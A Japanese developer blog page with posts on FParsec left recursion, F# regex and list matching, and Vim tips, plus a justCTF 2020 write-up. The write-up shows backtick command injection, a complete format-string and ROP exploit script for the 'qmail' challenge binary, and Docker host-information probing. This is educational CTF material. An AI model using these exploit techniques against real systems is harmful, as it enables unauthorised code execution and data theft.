FParsecで左再帰を試してみる
F# のパーサーコンビネーター FParsec を使って、左再帰の文法を書くとどうなるか試してみた。左再帰についての説明は Wikipedia から引用しておく。
左再帰(英: Left recursion)とは、言語(普通、形式言語について言うが、自然言語に対しても考えられ得る)の文法(構文規則)にあらわれる再帰的な規則(定義)の特殊な場合で、ある非終端記号を展開した結果、その先頭(最も左)にその非終端記号自身があらわれるような再帰のことである。
文法はこんなイメージ。足し算、引き算、数値に対応。足し算と引き算について、 expr
が一番左に来ているため左再帰となっている。
expr = expr '+' num | expr '-' num | num
これをコードで書くと以下のようになる。 pAddition
, pSubtraction
の先頭に pExpression
が登場している。
open FParsec type Expression = | Addition of Expression * float | Subtraction of Expression * float | Term of float let pExpression, pExpressionRef = createParserForwardedToRef() let pAddition = pExpression .>>. ((spaces >>. pchar '+' >>. spaces) >>. pfloat) |>> Addition let pSubtraction = pExpression .>>. ((spaces >>. pchar '-' >>. spaces) >>. pfloat) |>> Subtraction let pTerm = pfloat |>> Term pExpressionRef.Value <- pAddition <|> pSubtraction <|> pTerm
生成したパーサー pExpression
を使って、実際にパースしてみるとどうなるか。
> run pExpression "1-2+3-4";; Binding session to '/home/gingk/.nuget/packages/fparsec/1.1.1/lib/netstandard2.0/FParsec.dll'... Binding session to '/home/gingk/.nuget/packages/fparsec/1.1.1/lib/netstandard2.0/FParsecCS.dll'... Stack overflow. Repeat 8717 times: -------------------------------- at FParsec.Primitives+op_DotGreaterGreaterDot@104[[System.__Canon, System.Private.CoreLib, Version=6.0.0.0, Culture=neutral, PublicKeyToken=7cec85d7bea7798e],[System.__Canon, System.Private.CoreLib, Version=6.0.0.0, Culture=neutral, PublicKeyToken=7cec85d7bea7798e],[System.Double, System.Private.CoreLib, Version=6.0.0.0, Culture=neutral, PublicKeyToken=7cec85d7bea7798e]].Invoke(FParsec.CharStream`1<System.__Canon>) at FParsec.Primitives+op_BarGreaterGreater@143[[System.__Canon, System.Private.CoreLib, Version=6.0.0.0, Culture=neutral, PublicKeyToken=7cec85d7bea7798e],[System.__Canon, System.Private.CoreLib, Version=6.0.0.0, Culture=neutral, PublicKeyToken=7cec85d7bea7798e],[System.__Canon, System.Private.CoreLib, Version=6.0.0.0, Culture=neutral, PublicKeyToken=7cec85d7bea7798e]].Invoke(FParsec.CharStream`1<System.__Canon>) ...
結果として、スタックオーバーフローが発生して落ちた。要は無限ループが発生したわけである。まあ当たり前と言えば当たり前ではあるが、実際に確認できてよかった。
ここからは余談。左再帰を避けて実装してみる。
open FParsec type Expression = | Addition of float * Expression | Subtraction of float * Expression | Term of float let pExpression, pExpressionRef = createParserForwardedToRef() let pAddition = pfloat .>>. ((spaces >>. pchar '+' >>. spaces) >>. pExpression) |>> Addition let pSubtraction = pfloat .>>. ((spaces >>. pchar '-' >>. spaces) >>. pExpression) |>> Subtraction let pTerm = pfloat |>> Term pExpressionRef.Value <- attempt pAddition <|> attempt pSubtraction <|> pTerm
以下の通り、問題なくパースできた。
> run pExpression "1-2+3-4";; val it: ParserResult<Expression,unit> = Success: Subtraction (1.0, Addition (2.0, Subtraction (3.0, Term 4.0)))
さらに余談。上のコードでは attempt
によるバックトラック (巻き戻し) を活用していたが、バックトラックを避けて以下のようにも書ける。
open FParsec type Expression = | Addition of float * Expression | Subtraction of float * Expression | Term of float let pExpression, pExpressionRef = createParserForwardedToRef() let pBinop = tuple2 (pchar '+' <|> pchar '-') (spaces >>. pExpression) pExpressionRef.Value <- pipe2 (pfloat .>> spaces) ((eof >>% None) <|> (pBinop |>> Some)) (fun num opt -> match opt with | Some(binop) -> match binop with | ('+', exp) -> Addition (num, exp) | ('-', exp) -> Subtraction (num, exp) | _ -> failwith "not reachable" | None -> Term num)
こちらのほうが効率が良くて良さげ。パース実行結果は以下。
> run pExpression "1-2+3-4";; val it: ParserResult<Expression,unit> = Success: Subtraction (1.0, Addition (2.0, Subtraction (3.0, Term 4.0)))
F#で正規表現を使って日本語をマッチさせる
まずひらがな。
Regex.IsMatch("あ", "\p{IsHiragana}") // => true
F# では .Net の Regex クラスによって正規表現を扱う。Unicodeのコードポイントの範囲ごとに IsHiragana
のような名前が付けられており、その名前を \p{IsHiragana}
のように指定することができる。
使用可能な名前一覧は .NET 正規表現での文字クラス | Microsoft Learn を参照。これによると IsHiragana
は 3040 ~ 309F と書いてあるが、Wikipedia にあるコード一覧を見ると確かにひらがなはこの範囲にありそうである。
続いてカタカナ、漢字。 IsCJKUnifiedIdeographs
は日本語ではCJK統合漢字と呼ぶらしい。
Regex.IsMatch("ア", "\p{IsKatakana}") Regex.IsMatch("亜", "\p{IsCJKUnifiedIdeographs}")
最後に、全角記号、全角数字、半角カタカナ。
Regex.IsMatch("、", "\p{IsCJKSymbolsandPunctuation}") Regex.IsMatch("「", "\p{IsCJKSymbolsandPunctuation}") Regex.IsMatch(">", "\p{IsHalfwidthandFullwidthForms}") Regex.IsMatch("1", "\p{IsHalfwidthandFullwidthForms}") Regex.IsMatch("ア", "\p{IsHalfwidthandFullwidthForms}")
全角記号に関しては IsCJKSymbolsandPunctuation
にあったり IsHalfwidthandFullwidthForms
にあったりして分け方がよくわからないが、両方入れておけばよさそうではある。
Regex.IsMatch("、", "\p{IsCJKSymbolsandPunctuation}|\p{IsHalfwidthandFullwidthForms}") Regex.IsMatch(">", "\p{IsCJKSymbolsandPunctuation}|\p{IsHalfwidthandFullwidthForms}")
Vimで置換・検索時のエラーを抑制する
Vim で置換や検索をした際に、パターンが見つからなかった場合は E486: Pattern not found エラーが返る。たとえばマクロはエラーが発生するとそこで停止してしまうので、エラーが返らないようにしたくなるケースもある。ということで今回はその方法について調べた内容を書く。
置換
たとえば m
に以下のようなマクロを設定したとする。
:reg m Type Name Content c "m :%s/hoge/fuga/^M:echo "hello"^M
この場合、 hoge
というパターンが見つかれば問題ないが、見つからなかったら二番目のコマンド echo "hello"
は実行されない。
まず1つ目の回避策は、置換時にフラグ e
をつける。そうすることでエラーが返らなくなる。ヘルプはこちら。
:%s/hoge/fuga/e
もう一つの方法は、 try
, catch
を使うやり方。上記は置換時のみのものだったが、 try
, catch
を使うことでより汎用的なコマンドにも適用できる。ヘルプはこちら。
:try | %s/hoge/fuga/ | catch | endtry
検索
こちらも同様に、以下のマクロだと hoge
というパターンが見つからなければ二番目のコマンドは実行されない。
:reg m Type Name Content c "m /hoge^M:echo "hello"^M
こちらもまずは try
を使ってみたが、うまくいかない。
:try | /hoge | catch | endtry
実行するとコマンドを入力するところ (何て呼ぶのかわからない) に :
(コロンと謎の空白) が表示された状態になる。エスケープを2回 (なぜか2回) 押すと E486: Pattern not found: hoge | catch | endtry
と表示されるので hoge
以降の文字列全体を検索してしまっているらしい。これについてはやりようがありそうな気もするが、結局わからなかった。
いろいろ調べていて一つ判明したやり方は、組み込み関数 search
を使う方法。これに関しては try
も問題なく使用できる。ヘルプはこちら。
:try | call search("hoge") | catch | endtry
F#で要素数が2つ以上のリストをマッチさせる
前に書いたこの記事に関連して。
F#で要素数が1つのリストをマッチさせる
今度は要素数が2つ以上のリストにマッチさせる方法について。こちらも前回同様 Cons パターン ::
を使って次のように書ける。
match some_list with | _::_::_ -> printfn "two or more elements" | _ -> printfn "zero or one element"
_::_::_
は「先頭の要素、2番目の要素、残りの要素を含むリスト」の3つに分解可能なリストにマッチする。最後のリストは空のリストでも構わない。つまり要素数が2つ以上のリストにマッチするということになる。
実際に何がマッチしているかを出力した例がこちら。
let some_list = [1; 2] match some_list with | a::b::c -> printfn "%A, %A, %A" a b c | _ -> printfn "zero or one element"
実行結果
1, 2, []
Vimで正規表現にマッチした文字列を置換先でも使う
Vim で置換する際に、正規表現でマッチした文字列をそのまま置換先でも使いたいという場面にちょくちょく遭遇するのでやり方を調べた。後方参照と呼ぶらしい。 (後方参照というワードを知らなかったので調べるのにちょっと苦労した)
やり方 (ヘルプ) はこちら。
12.2 "Last, First" を "First Last" に変更する
上のリンク先に全部書いてあるが、エスケープ付きの括弧 \( \)
で囲まれた部分は \1
, \2
, ..., \9
で参照できる、というもの。
たとえば Markdown を書いているとして、先頭が数字からはじまる行を h2 としたい場合はこうすればできる。
:%s/^\([0-9]\)/## \1/g
before
1 はじめに あいうえお 2 おわりに かきくけこ
after
## 1 はじめに あいうえお ## 2 おわりに かきくけこ
F#で要素数が1つのリストをマッチさせる
F# で書かれているとあるコードを読んでいて、以下のようなコードが出てきてよくわからなかったので調べた。 a::[]
の部分。
match some_list with | a::[] -> printfn "%A" a | b -> printfn "%A" b
まず ::
は Cons パターンというもので、パターンマッチにおいてリストを最初の要素と残りの要素に分解することができる。
let some_list = [1; 2; 3] match some_list with | a::b -> printfn "%A and %A" a b | _ -> printfn ""
実行結果
1 and [2; 3]
これをふまえて最初のコード a::[]
に戻ると、最初の要素を除くと空 ( []
) になるリスト、つまり要素数が1のリストとマッチするということになる。
let some_list = [1]
とすると a::[]
にマッチし、出力結果は以下となる。
1
let some_list = [1; 2; 3]
とすると b
のほうにマッチし、出力結果は以下となる。
[1; 2; 3]
ちなみに、リストパターンを使っても同様に要素数1のリストにマッチさせることは可能。
match some_list with | [a] -> printfn "%A" a // 要素数1のリストにマッチ | b -> printfn "%A" b // 要素数1以外のリストにマッチ
justCTF [*] 2020 writeup & 復習
はじめに
もう一週間以上経ってしまいましたが、justCTF [*] 2020に参加してpwnを解いた(解こうとした)ので、writeupと他の方のwriteupを見て復習した内容を書いておきます。といっても一問しか解けなかったのですが…
- justCTF [*] 2020
- 土, 30 1月 2021, 06:00 UTC — 日, 31 1月 2021, 19:00 UTC
- Writeup
[PWN/MISC] MyLittlePwny
Ponies like only one type of numbers!
Challenge
配布物はなし
$ nc mylittlepwny.nc.jctf.pro 1337 >
文字を入力すると、pony の絵が表示される
> 1 ____ < 1 > ---- \ ▄▄▄▄ \ █▄▄██ \ ███▄▄▄▄ ▄▄▄▄▄▄▄▄ \ ▄▄▄▄█▄████▄▄▄████▄▄▄▄█ ▄▄██████▄▄▄▄▄██▄▄▄▄█████ ███████████▄▄█▄████████▄▀ █████▄██▄▄▄▄███▄███████▄▀ ▀▄▄▄▄█▄▄█████████▀▀▀▄▄▄▀ ████▄█▄▄▄▄▄████ ▀▄████▄▄▄█▄████▄ ▄▄▄▄ █▄██▄▄▄▄▄▄███▄██ ▄▄▄▄████▄▄▄▄ ▀▄▄██████▄█▄▄████ ▄▄█████████▄██▄▄ ▀▀▀▀▀███████▄▄▄▄▄▄▀▀▀▀▄█████▄▄▄▀ ██████▄▄███▄▄ ████████ ████▄▄███████ ██████▄▀ ▄▄███▄▄████▄▄▄ ████▄▀ ███▄█▀ ███▄▄█▄▄ ▀▀▀ ▄▄▄████▄▄████▄███ █▄▄▄▄▀ █▄▄▄█ ▀▀▀
Writeup
`` によりコマンドを使用可能 (一文字ずつ記号を入れていくことで気づいた)
> ` /bin/sh: 2: Syntax error: EOF in backquote substitution > `ls` __________________________________ < bin flag lib lib64 server.py usr > ---------------------------------- ...
cat
などのそのまま表示できそうなコマンドは使えない
> `cat flag` ________________ < I like cats :) > ---------------- ...
コマンド一覧
> `ls bin` _______________________________________________________________ / bash bunzip2 bzcat bzcmp bzdiff bzegrep bzexe bzfgrep bzgrep \ | bzip2 bzip2recover bzless bzmore cat chgrp chmod chown cp | | dash date dd df dir dmesg dnsdomainname domainname echo egrep | | false fgrep findmnt grep gunzip gzexe gzip hostname kill less | | lessecho lessfile lesskey lesspipe ln login ls lsblk mkdir | | mknod mktemp more mount mountpoint mv nisdomainname nsjail od | | pidof ps pwd rbash readlink rm rmdir run-parts sed sh | | sh.distrib sleep stty su sync tar tempfile touch true umount | | uname uncompress vdir wdctl which ypdomainname zcat zcmp | \ zdiff zegrep zfgrep zforce zgrep zless zmore znew / ---------------------------------------------------------------
od
が使えた
> `od flag` __________________________________________________________ / 0000000 072552 072163 052103 075506 030160 054556 072137 \ | 066064 0000020 071505 061137 063463 047151 057465 031550 | \ 031562 005175 0000040 / ----------------------------------------------------------
整えると次のようになる (オプションなしの場合、1行16バイト、2バイトずつ8進数表示)
0000000 072552 072163 052103 075506 030160 054556 072137 066064 0000020 071505 061137 063463 047151 057465 031550 031562 005175 0000040
ASCII 文字列に変換するスクリプト (もっと簡単にやる方法あるかも)
import binascii nums = [ 0o072552, 0o072163, 0o052103, 0o075506, 0o030160, 0o054556, 0o072137, 0o066064, 0o071505, 0o061137, 0o063463, 0o047151, 0o057465, 0o031550, 0o031562, 0o005175 ] for num in nums: n_str = binascii.unhexlify(('%06x' % num).encode()).decode() n_list = list(n_str) n_list[1], n_list[2] = n_list[2], n_list[1] n_str = ''.join(n_list) print(n_str, end='')
フラグ取得
$ python mylittlepwny.py justCTF{p0nY_t4lEs_b3giN5_h3r3}
唯一フラグゲットできた問題でした。カナシイ
[PWN] qmail
One of the internet leaders launched an anti-spam mail checking service. You send it an email content and you get an aggregated score from multiple systems. However, it seems that something broke as the service doesn't respond from time to time. Am I sending content in EMail Message format? A mistake on their part seems implausible.
Challenge
実行ファイル (qmail) と libc-2.27.so が配布される
応答はなし (Ctrl-D を入力してもダメ)
$ nc qmail.nc.jctf.pro 1337
Writeup
checksec
$ checksec qmail [*] '/path/to/qmail' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
ローカルで実行してみると応答あり (実行後、Ctrl-D (EOF) を入力)
$ ./qmail HTTP/1.0 200 OK Content-Type: application/json Content-Length: 109 { "plugins": { }, "mail": { "score": 0, "spam": false, "reject": false }, "version": "0.3.0.100" }
qmail ってなんぞやと思ってググるとふつうにいろいろ出てくる。qmail というソフトウェアがあるらしい。とりあえず こちら のメッセージをそのまま入力してみると、応答に subject
が追加されていることに気づく
$ ./qmail Received: (qmail-queue invoked by uid 666); 30 Jul 1996 11:54:54 -0000 From: djb@silverton.berkeley.edu (D. J. Bernstein) To: fred@silverton.berkeley.edu Date: 30 Jul 1996 11:54:54 -0000 Subject: Go, Bears! I've got money on this one. How about you? ---Dan (this is the third line of the body) HTTP/1.0 200 OK Content-Type: application/json Content-Length: 136 { "plugins": { }, "mail": { "subject": "Go, Bears!", "score": 0, "spam": false, "reject": false }, "version": "0.3.0.100" }
main でやっていることをおおざっぱに並べておく (リンク先は Ghidra によるデコンパイル結果)
- 標準入力から read してグローバル変数
char headers[65536]
に書き込む (EOF に達すると終了) - メッセージサイズ (
msg_size
) をチェック - メッセージを parse (
message_parse
) (詳細よくわからん) - アドレスを取得する (
get_address_used
) (たぶん) - ヘッダ情報取得 (
header_get
) ( "Subject", "From" ) - JSON 形式に変換して出力 (
printf(SUB168(auVar14,0))
)
Subject として入力した値は出力される + 最後の printf
→ FSA (Format String Attack) が使えそう。
一周目で libc のアドレスをリークして main の先頭に飛ばし、2周目で One-gadget RCE に飛ばす、という方法でいける!と思ったが、read を終わらせるために EOF を送信 (「EOF を送信」で合ってるのか?) する必要があるため、一発で仕留める必要があるらしい…。read 終了 (EOF) については pwntools の shutdown によりいけた。ただし以後はデータを送信することができなくなる。
なんとかして shutdown 後にもう一度データを送信する方法はないかとか、一発でシェルを取る方法はないかとかをもんもんと考えていたが、ここでギブアップ。以降は期間終了後、justCTF [*] 2020 Writeups - CTFするぞ を読んで理解した内容を書く。
「justCTF [*] 2020 Writeups - CTFするぞ」の解法は次の通り。
- FSA により、
_IO_putc
の GOT を Stack pivot を実行可能な gadget のアドレスに書き換える - スタックに ROP chain を仕込む
__libc_start_main
の GOT をsystem
のアドレスに書き換える- .bss 領域に
cat /flag.txt
という文字列を書き込む __libc_start_main
を呼ぶ (system("cat /flag.txt")
)
恥ずかしながら Stack pivot が何かすら知らなかったのだが、スタックの頭を差し替える手法のことを Stack pivot と呼ぶらしい。(参考: GOT overwriteとStack pivotによるDEP回避(xchg esp型) - ももいろテクノロジー)
gadget 探しについては、rp++ というツールが有名らしい。
$ wget https://github.com/downloads/0vercl0k/rp/rp-lin-x64
ということで gadget 探し
- Stack pivot を実行するための gadget
$ ./rp-lin-x64 --file=qmail --rop=3 --unique | fgrep 'add rsp' ... 0x00403715: add rsp, 0x0000000000000100 ; pop rbx ; ret ; (1 found) ...
__libc_start_main
の GOT に格納されているアドレスをsystem
のアドレスにずらすための gadget
$ ./rp-lin-x64 --file=qmail --rop=3 --unique | grep "add .word \[rbp" 0x00406e12: add dword [rbp-0x7C], eax ; sal byte [rbp+0x0B], 0x00000041 ; lea eax, dword [rcx+0x05] ; ret ; (2 found)
- .bss 領域に文字列を書き込むための gadget
$ ./rp-lin-x64 --file=qmail --rop=3 --unique | grep "mov .word \[rdi" ... 0x00405b46: mov qword [rdi+0x10], rsi ; ret ; (1 found) ...
コードです。特に後半についてはほとんど参考にさせていただいたブログのままです。
from pwn import ELF, context, remote, pack, unpack, gdb, process, pause elf = ELF('qmail') context.binary = elf # context.log_level = 'debug' # s = remote('qmail.nc.jctf.pro', 1337) s = process('./qmail') def make(value): s = 'Subject: ' n = 44 # value を acStack1064 + 0x80 以降に格納されているアドレスに書き込む書式文字列を生成 for i in range(8): t = (value & 0xff) - n % 256 if t <= 1: t += 256 s += '%{}c%{}$hhn'.format(t, 22 + i) value >>= 8 n += t s += '\n\n' s = bytes(s, 'ascii') s += b'\0' * (0x80 - len(s)) # acStack1064 + 0x80 の位置までを '\0' で埋める for i in range(8): s += pack(elf.got._IO_putc + i) return s add_rsp = 0x403715 payload = make(add_rsp) # rsp == acStack1064 libc = ELF('libc-2.27.so') addr_cmd = elf.bss() + 0x400 pop_rbp = 0x403355 xchg_eax_ebp = 0x406e75 add_prbp_m7Ch_eax = 0x406e12 mov_prdi_p10h_rsi = 0x405b46 pop_rsi = 0x403b7c pop_rdi = 0x4050a6 call_prsi = 0x408a6b jmp_prsi = 0x4086fb payload += b'\0' * (0x100 - len(payload)) payload += ( # __libc_start_main の GOT を system のアドレスに書き換える pack(pop_rbp) + pack(libc.symbols.system - libc.symbols.__libc_start_main) + pack(xchg_eax_ebp) + pack(pop_rbp) + pack(elf.got.__libc_start_main + 0x7c) + pack(add_prbp_m7Ch_eax) # 'cat /flag.txt' という文字列を .bss + 0x400 に書き込む + pack(pop_rdi) + pack(addr_cmd - 0x10) + pack(pop_rsi) + b'cat /fla' + pack(mov_prdi_p10h_rsi) + pack(pop_rdi) + pack(addr_cmd - 0x8) + pack(pop_rsi) + b'g.txt\x00\x00\x00' + pack(mov_prdi_p10h_rsi) # __libc_start_main を呼ぶ + pack(pop_rdi) + pack(addr_cmd) + pack(pop_rsi) + pack(elf.got.__libc_start_main) + pack(jmp_prsi) ) s.send(payload) # pause() s.shutdown('send') s.interactive()
ローカル環境に /flag.txt を置いて実行。無事フラグ取得。
$ python qmail.py ... this is flag!! ...
一番時間をかけて考えたけど結局解けなくて悔しかったです。libcをリークしなくても system を呼ぶことはできるのか、と感心しました。たぶん公式のwriteupも今のところないので、今回参考にさせてもらったwriteupがなければいまだに路頭に迷っているところでした。ありがとうございます。
※ 以下、Ghidra によるデコンパイル結果
- main()
- ※
SEXT48
とかSUB168
とか: Ghidra Help の Internal Decompiler Functions の項目に説明が書いてある - ※
_end
は .bss セクションの末尾の次のアドレスを表すらしい -- Man page of END
- ※
undefined8 main(undefined8 param_1,long param_2) { char cVar1; __pid_t _Var2; int __fd; int iVar3; ssize_t sVar4; size_t sVar5; size_t __n; long lVar6; __off64_t _Var7; undefined8 uVar8; long lVar9; undefined8 uVar10; ulong uVar11; char *pcVar12; size_t __n_00; byte bVar13; undefined auVar14 [16]; char acStack1064 [1024]; bVar13 = 0; starttime = now(); _Var2 = getpid(); mypid = (long)_Var2; sig_pipeignore(); sig_miscignore(); sig_alarmcatch(sigalrm); env_put("ISMX=1"); env_put("TCPREMOTEIP=192.168.1.1"); message_init(); alarm(0x4b0); __fd = mess_open(); if (__fd < 0) { /* WARNING: Subroutine does not return */ _exit(0x40); } do { __n = read(0,acStack1064,0x400); if ((long)__n < 0) break; sVar4 = write(__fd,acStack1064,__n); if (sVar4 == -1) { die_write(); } iVar3 = headers_remaining; if (headers_remaining != 0) { sVar5 = SEXT48(headers_remaining); __n_00 = sVar5; if ((long)__n <= (long)sVar5) { __n_00 = __n; } strncpy(&_end + -sVar5,acStack1064,__n_00); headers_remaining = iVar3 - (int)__n_00; } } while (__n != 0); lVar6 = 0xffff; if (headers_remaining != 0) { lVar6 = 0x10000 - (long)headers_remaining; } headers[lVar6] = 0; msg_size = lseek64(__fd,0,2); if (msg_size == -1) { die_write(); } _Var7 = lseek64(__fd,0,0); if (_Var7 != 0) { die_write(); } if (0x100000 < msg_size) { reply(500,"Internal Server Error","Message too large"); die_read(); } uVar8 = find_eoh(headers); as_headers_offset = (undefined4)uVar8; lVar6 = message_parse(headers,uVar8); message = lVar6; if (lVar6 == 0) { reply(500,"Internal Server Error","Could not parse message"); lVar6 = die_read(); } uVar8 = get_address_used(lVar6); env_put2("MAIL_FROM_ABUSED",uVar8); iVar3 = stralloc_copys(sender,uVar8); if (iVar3 == 0) { die_nomem(); } iVar3 = stralloc_append(sender,&DAT_00407856); if (iVar3 == 0) { die_nomem(); } lVar9 = header_get(message,"Subject"); lVar6 = *(long *)(param_2 + 8); if (*(long *)(param_2 + 8) == 0) { lVar6 = lVar9; } lVar9 = header_get(message,&DAT_00407639); if (lVar9 != 0) { lVar9 = address_get(); if (lVar9 != 0) { iVar3 = stralloc_copys(from_sender,lVar9); if (iVar3 == 0) { die_nomem(); } iVar3 = stralloc_append(from_sender,&DAT_00407856); if (iVar3 == 0) { die_nomem(); } } } _Var7 = lseek64(__fd,0,0); if (_Var7 != 0) { die_write(); } substdio_fdbuf(ssin,read,__fd,inbuf,0x8000); mailJ = cJSON_CreateObject(); if (lVar6 != 0) { uVar8 = cJSON_CreateString(lVar6); cJSON_AddItemToObject(mailJ,"subject",uVar8); } plugin_json_output = cJSON_CreateObject(); _Var7 = lseek64(__fd,0,0); if (_Var7 != 0) { die_write(); } uVar8 = cJSON_CreateObject(); cJSON_AddItemToObject(uVar8,"plugins",plugin_json_output); uVar10 = cJSON_CreateNumber(0); cJSON_AddItemToObject(mailJ,"score",uVar10); uVar10 = cJSON_CreateBool(0); cJSON_AddItemToObject(mailJ,&DAT_004076cc,uVar10); uVar10 = cJSON_CreateBool(0); cJSON_AddItemToObject(mailJ,"reject",uVar10); cJSON_AddItemToObject(uVar8,&DAT_004076d8,mailJ); uVar10 = cJSON_CreateString("0.3.0.100"); cJSON_AddItemToObject(uVar8,"version",uVar10); auVar14 = cJSON_Print(uVar8); uVar11 = 0xffffffffffffffff; pcVar12 = SUB168(auVar14,0); do { if (uVar11 == 0) break; uVar11 = uVar11 - 1; cVar1 = *pcVar12; pcVar12 = pcVar12 + (ulong)bVar13 * -2 + 1; } while (cVar1 != '\0'); printf("HTTP/1.0 200 OK\r\nContent-Type: application/json\r\nContent-Length: %u\r\n\r\n",~uVar11, SUB168(auVar14 >> 0x40,0),~uVar11); printf(SUB168(auVar14,0)); _IO_putc(10,stdout); fflush((FILE *)stdout); return 0; }
[PWN/MISC] D0cker
I have heard that Docker may not be the greatest isolation tool. Can you proove it?
Hints:
- This is not a kernel exploitation challenge
- You don't need to exploit the oracle
Challenge
配布物はなし
$ nc docker-sgp1.nc.jctf.pro 1337 Access to this challenge is rate limited via hashcash! Please use the following command to solve the Proof of Work: hashcash -mb26 zwifpdgy Your PoW:
PoW は次のコマンドで取得
$ hashcash -mb26 zwifpdgy hashcash token: 1:26:210130:zwifpdgy::s/nYKao3T3JPfj7d:000000000vWX1
PoW を入力するとシェルが起動する
Your PoW: 1:26:210130:zwifpdgy::s/nYKao3T3JPfj7d:000000000vWX1 1:26:210130:zwifpdgy::s/nYKao3T3JPfj7d:000000000vWX1 [*] Spawning a task manager for you... [*] Spawning a Docker container with a shell for ya, with a timeout of 10m :) [*] Your task is to communicate with /oracle.sock and find out the answers for its questions! [*] You can use this command for that: [*] socat - UNIX-CONNECT:/oracle.sock [*] PS: If the socket dies for some reason (you cannot connect to it) just exit and get into another instance groups: cannot find name for group ID 1000 I have no name!@91c78fbacb7d:/$
Writeup
シェルが起動するので、とりあえず情報収集
I have no name!@9d8600b7da5e:/$ id id uid=1000 gid=1000 groups=1000 I have no name!@9d8600b7da5e:/$ uname -a uname -a Linux 9d8600b7da5e 5.4.0-51-generic #56-Ubuntu SMP Mon Oct 5 14:28:49 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux I have no name!@9d8600b7da5e:/$ cat /etc/os-release cat /etc/os-release NAME="Ubuntu" VERSION="20.04.1 LTS (Focal Fossa)" ID=ubuntu ID_LIKE=debian PRETTY_NAME="Ubuntu 20.04.1 LTS" VERSION_ID="20.04" HOME_URL="https://www.ubuntu.com/" SUPPORT_URL="https://help.ubuntu.com/" BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/" PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy" VERSION_CODENAME=focal UBUNTU_CODENAME=focal I have no name!@9d8600b7da5e:/$ $ ps auxfww ps auxfww USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND 1000 1 0.2 0.0 2712 648 pts/0 Ss 10:51 0:00 timeout 10m bash 1000 6 0.0 0.0 4108 3544 pts/0 S 10:51 0:00 bash 1000 8 0.0 0.0 5896 2988 pts/0 R+ 10:51 0:00 \_ ps auxfww I have no name!@9d8600b7da5e:/$ file /oracle.sock file /oracle.sock /oracle.sock: socket
言われたとおり、socat で接続してみる
I have no name!@c59e03f75e8e:/$ socat - UNIX-CONNECT:/oracle.sock socat - UNIX-CONNECT:/oracle.sock Welcome to the ______ _____ _ | _ \ _ | | | | | | | |/' | ___| | _____ _ __ | | | | /| |/ __| |/ / _ \ '__| | |/ /\ |_/ / (__| < __/ | |___/ \___/ \___|_|\_\___|_| oracle! I will give you the flag if you can tell me certain information about the host (: ps: brute forcing is not the way to go. Let's go!
質問が表示されるので、答えていく。
- Level 1
[Level 1] What is the full *cpu model* model used?
CPU のモデル情報。 cat /proc/cpuinfo
により取得
[Level 1] What is the full *cpu model* model used? Intel(R) Xeon(R) Gold 6140 CPU @ 2.30GHz Intel(R) Xeon(R) Gold 6140 CPU @ 2.30GHz That was easy :)
- Level 2
[Level 2] What is your *container id*?
cat /proc/self/cgroup
により取得。(自分の container id でなくても OK だった)
[Level 2] What is your *container id*? c59e03f75e8e4c1b7c0887c7b2af5ff59b36f69ee56777c7b92673c3a9495e4e
- Level 3
[Level 3] Let me check if you truly given me your container id. I created a /secret file on your machine. What is the hidden secret?
/secret
というファイルが作成されるので、その中身を入力する。事前に bash -c 'sleep 30; cat /secret' &
を実行しておくことで取得。もしくは Level 2 で別のコンテナの ID を入力しておくとそっちのコンテナに secret が作成されるので、それを入力しても OK だった。
[Level 3] Let me check if you truly given me your container id. I created a /secret file on your machine. What is the hidden secret? dzRJyqmQoqVYlkHMeiAPeSPohURJgEWHUAzkMioZQcgLoCZsFswSPAGrmuvAWzYC
- Level 4
[Level 4] Okay but... where did I actually write it? What is the path on the host that I wrote the /secret file to which then appeared in your container? (ps: there are multiple paths which you should be able to figure out but I only match one of them)
/secret を生成したときに、ホストのどこに書き込んでいるか、という問い。とりあえずルート /
のマウント情報を確認してみた。
overlay on / type overlay (rw,relatime,lowerdir=...,upperdir=...,workdir=...,xino=off)
overlay を聞いたことがなかったのでググると、【連載】世界一わかりみが深いコンテナ & Docker入門 〜 その6:Dockerのファイルシステムってどうなってるの? 〜 | SIOS Tech. Lab というページを見つけた。Docker のファイルシステムについて説明してくれている。upperdir を入力。
[Level 4] Okay but... where did I actually write it? What is the path on the host that I wrote the /secret file to which then appeared in your container? (ps: there are multiple paths which you should be able to figure out but I only match one of them) /var/lib/docker/overlay2/6b80763e46b9937ceb8cef7819e6da7bf8a87cd0769d05353f448430d1c9e28d/diff/secret
- Level 5
[Level 5] Good! Now, can you give me an id of any *other* running container?
別のターミナルでサーバに接続して取得した container id を入力するだけ。
[Level 5] Good! Now, can you give me an id of any *other* running container? 610b8135a5c06c59059b1be32266719bf963ed8da1093b6f0efa8266ba54bff9
- Level 6
[Level 6] Now, let's go with the real and final challenge. I, the Docker Oracle, am also running in a container. What is my container id?
最終問題。ホストもDockerで動いており、ホストのコンテナIDを入力するという問題。
わからず・・。ここでギブアップ。作問者の writeup によると、 ls /sys/kernel/slab/*/cgroup/ | sort | uniq
により他のコンテナの ID も見れるらしい。手元で試してみると確かに見れた。どうも作問者が見つけたDockerのバグ?らしい。
事前に知ってなきゃ無理では?と思ったけど、解けたチームが40チームくらいいたので、そういうわけでもないらしい。findしてそれっぽいものを探したとか?
感想
むずすぎ